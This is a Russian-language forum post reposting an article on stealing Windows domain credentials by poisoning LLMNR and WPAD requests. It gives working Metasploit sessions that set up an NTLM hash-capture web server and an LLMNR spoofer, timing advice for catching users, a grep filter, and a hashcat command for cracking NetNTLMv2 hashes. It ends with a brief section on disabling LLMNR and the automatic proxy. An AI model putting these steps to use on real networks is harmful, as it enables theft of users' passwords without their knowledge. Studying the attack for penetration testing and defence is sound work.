• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

На заметку Тырим учетные записи в Windows через протокол LLMNR


X-Shar

:)
Администрация
Регистрация
03.06.2012
Сообщения
6 068
Репутация
8 175
d10ef1c5cafd1a02d464533a3eb4573c.png


Dmeh-Smeh-Smeh!!!Dmeh-Smeh-Smeh!!!Dmeh-Smeh-Smeh!!!

Не плохая статья !

Некоторое время назад мой коллега Педро написал , где описал очень полезную технику, которую можно использовать для получения учетных записей после того, как только вы получили доступ к сети.

Суть метода заключалась в прослушивании широковещательных запросов, связанных с преобразованием имен, передаваемых по протоколу NetBIOS. В качестве ответа злоумышленник подменяет IP-адрес, заставляя жертву подключиться в нужное место. Техника может быть полезна в том случае, если вы хотите получить учетные записи пользователя и управляете сервером, на котором находится запрашиваемая веб-страница. Вы настраиваете сервер так, чтобы спровоцировать NT-аутентификацию, и пользователь, ни о чем не подозревая, отправляет вам свои учетные данные.

Недавно я выяснил, что подобную атаку можно осуществить и на протокол LLMNR, который используется в Windows 7 и более поздних версиях.

Что такое LLMNR

Звучит как заболевание, устойчивое к микробам, не так ли? На самом деле, эта аббревиатура расшифровывается как Local Loop Multicast Name Resolution. «Ок, зачем нужен этот протокол?», - спросите вы. Это легковесная служба имен, использующая группу абонентов (multicast group) для поиска и преобразования базовых имен внутри небольшой сети. Одно из главных преимуществ заключается в том, что этот протокол корректно работает и в сети IPv4 и в сети IPv6, что выглядит примерно так:

llmnr-1.png


Рисунок 1: Схема работы протокола LLMNR

Внимательные читатели заметят, что запрос, показанный выше, отсылается в сети IPv6 (запрос на преобразование ff02::1:3). В сети IPv4 запрос будет отправлен на IP-адрес 224.0.0.252. Поскольку используется мультикастинг, запрос отправится в сеть (обычно просто в локальный сегмент).

В Windows подобная схема именуется как Сетевое обнаружение (Network Discovery) и может быть включена в Центре управления сетями и общим доступом.

llmnr-2.png


Рисунок 2: Настройка сетевого обнаружения

Проблемы в протоколе LLMNR

У протокола LLMNR те же самые проблемы, что и в NetBIOS. Служба имен отсылает сообщение всем клиентам в сети, а не конкретному серверу. Это означает, что клиент неявно доверяет всем, кого видит.

Наша задача заключается в прослушивании запросов к хосту и перенаправлении этих запросов к подконтрольному нам серверу. После соединения мы запрашиваем аутентификацию, и Windows с превеликим удовольствием отсылает нам учетные данные.

Для решения этой задачи мы можем использовать автоматический прокси-сервер, предусмотренный в Internet Explorer. Когда вы запускаете Internet Explorer с настройкой автоматического прокси-сервера, на хост отсылается запрос «wpad», а после соединения с хостом скачивается файл wpad.dat. Более подробно об этой технологии рассказывает и Википедия.

Windows 7+ делает запрос wpad через следующие протоколы:
  • DNS (одноадресный запрос wpad)
  • NetBIOS (широковещательный запрос WPAD)
  • LLMNR (многоадресный запрос wpad)
Поскольку по протоколу DNS идет одиночный запрос, мы должны осуществить атаку типа «Человек посередине». О NetBIOS уже говорилось в других статьях. Я же хочу коснуться протокола LLMNR.

Как было сказано выше, мы перенаправляем запрос на подконтрольный нам сервер, запрашиваем аутентификацию и ждем, когда нам пришлют учетную запись.

Рассмотрим суть происходящего через Wireshark:

llmnr-3.png


Рисунок 3: Запросы, отправляемые по протоколу LLMNR

На рисунке выше показаны запросы, отправляемые по протоколу LLMNR для сети IPv4 (записи типа A) и для сети IPv6 (записи типа AAAA). Кроме того, показаны запросы к файлу wpad.dat и попытка аутентификации.

Настраиваем Metasploit

Как и в случае с NetBIOS мы будем использовать Metasploit. Наш пример чуть более сложен по сравнению со стандартными эксплоитами, поскольку нужно запустить два вспомогательных модуля.

Во-первых, нужно настроить веб-сервер, на который будут приходить хеши паролей. Используем модуль auxiliary/server/capture/http_ntlm:

msf > use auxiliary/server/capture/http_ntlm
msf auxiliary(http_ntlm) > set johnpwfile /root/out.txt
johnpwfile => /root/out.txt
msf auxiliary(http_ntlm) > set srvhost 192.168.0.100
srvhost => 192.168.0.100
msf auxiliary(http_ntlm) > set srvport 80
srvport => 80
msf auxiliary(http_ntlm) > exploit
[*] Auxiliary module execution completed
[*] Using URL:
[*] Server started.

Вышеуказанный модуль запускает веб-сервер, который ожидает URL, запрашивает аутентификацию и хранит полученные хеши. (NT-аутентификация состоит из трех шагов).

Мы можем обратиться к новому веб-серверу через обычный браузер, и тут нет ничего выдающегося, поскольку нашу поддельную страницу пользователь не увидит.

llmnr-4.png


Рисунок 4: Поддельная страница, на которую будет перенаправляться пользователь

Теперь нам нужно нечто, что позволит наладить взаимодействие с веб-сервером. Используем модуль auxiliary/spoof/llmnr/llmnr_response module:

msf auxiliary(http_ntlm) > use auxiliary/spoof/llmnr/llmnr_response
msf auxiliary(llmnr_response) > set interface eth2
interface => eth2
msf auxiliary(llmnr_response) > set spoofip 192.168.0.100
spoofip => 192.168.0.100
msf auxiliary(llmnr_response) > set regex wpad
regex => wpad
msf auxiliary(llmnr_response) > exploit
[*] Auxiliary module execution completed

[*] LLMNR Spoofer started. Listening for LLMNR requests with REGEX "(?-mix:wpad)" ...

Мы установили мультикастовый listener, который будет слушать запросы «wpad» по протоколу LLMNR и в ответ на эти запросы отсылать IP-адрес созданного ранее веб-сервера.

Получение паролей

На какое-то время оставьте запущенную связку модулей до тех пор, пока люди не откроют Internet Explorer и не начнут запрашивать файл wpad. Наиболее подходящее время – середина утра или обеденное время. В итоге вы получите файл, заполненный запросами на NT-аутентификацию.

Следующий шаг – расшифровка полученных хешей при помощи John the Ripper (jumbo patch) или, если у вас есть быстрая графическая карта, hashcat.

Вначале отфильтруем машинные аккаунты. Машинный аккаунт представляет собой NT-аккаунт, используемый компьютером для аутентификации при помощи учетной записи домена. Подобные учетные записи оканчивается символом ‘$’ (например, ASPHODEL$). В качестве фильтра используем следующую команду:

grep –v ‘\$:’ out.txt >filtered.txt

Затем указываем тип хеша 5600 (NetNTLMv2) и подбираем пароли при помощи hashcat:

c:\tools\passwords\hashcat>cudahashcat64 -m 5600 out.txt --remove --session llmnr ..\dictionaries

Как защититься от этой угрозы

Самый простой способ защиты – отключить протокол LLMNR, что необходимо сделать для каждого сетевого профиля. В панели управления зайдите в раздел Network and Sharing Center > Change Advanced Sharing Settings > profile > Network discovery и установить флажок «Turn off network discovery».

То же самое можно сделать через групповую политику: Administrative Templates > Network > Link-Layer Topology Discovery.

Помимо упомянутых настроек можно отключить автоматический прокси-сервер и указать принудительное использование конкретного адреса в качестве прокси.

Источник:
 
Верх Низ